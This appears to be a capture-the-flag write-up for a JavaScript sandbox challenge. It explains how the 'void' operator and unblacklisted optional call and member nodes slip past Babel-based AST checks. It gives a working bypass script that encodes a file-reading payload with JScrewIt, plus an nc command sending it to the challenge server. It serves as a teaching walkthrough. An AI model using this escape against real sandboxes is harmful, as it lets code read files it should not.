Testing the jail and transformations interactively: https://astexplorer.net/#/gist/7283141e13dab314521744603a95e9b7/6da31845d98f2cad406e9db41ed63e0635ac5ef1
Only the root nodes are checked for being an expression wrapper:
if (!node.isExpressionWrapper()) {
isConfident = false;
break;
}
const { confident } = node.evaluate();
if (!confident) {
isConfident = false;
break;
}
Looking at the source code for path.evaluate,
we can see that void <any expression>
can bypass both of these checks as babel doesn't care about side-effects:
if (path.node.operator === "void") {
// we don't need to evaluate the argument to know what this will return
return undefined;
}
"Function|CallExpression|Declaration|TaggedTemplateExpression|TemplateElement|Import|NewExpression|DebuggerStatement|AssignmentExpression|ObjectExpression|MemberExpression|PatternLike|Literal|SpreadElement"(path) {
hasBlacklistedNode = true;
Upon testing all node types in babel against this filter (e.g. t.isFunction({ type: "..." })
) we can find some interesting ones that aren't blacklisted:
OptionalMemberExpression
and OptionalCallExpression
.
JScrewIt is a more optimized JSFuck version and uses only the characters !
(
)
+
[
]
to execute any JavaScript.
After converting to optional expressions it bypasses the node blacklist completely:
console.log(
bypassJail("import('fs').then(f=>console.log(f.readFileSync('flag','utf8')))")
);
function bypassJail(input) {
const ast = parser.parse(
JScrewIt.encode(input, { features: ["NODE_16_6"], runAs: "eval" })
);
traverse(ast, {
CallExpression({ node }) {
node.type = "OptionalCallExpression";
node.optional = true;
},
MemberExpression({ node }) {
node.type = "OptionalMemberExpression";
node.optional = true;
},
});
return "void " + generate(ast, { compact: true }).code;
}
Getting the flag:
node generate-payload.js | nc 35.239.253.188 5000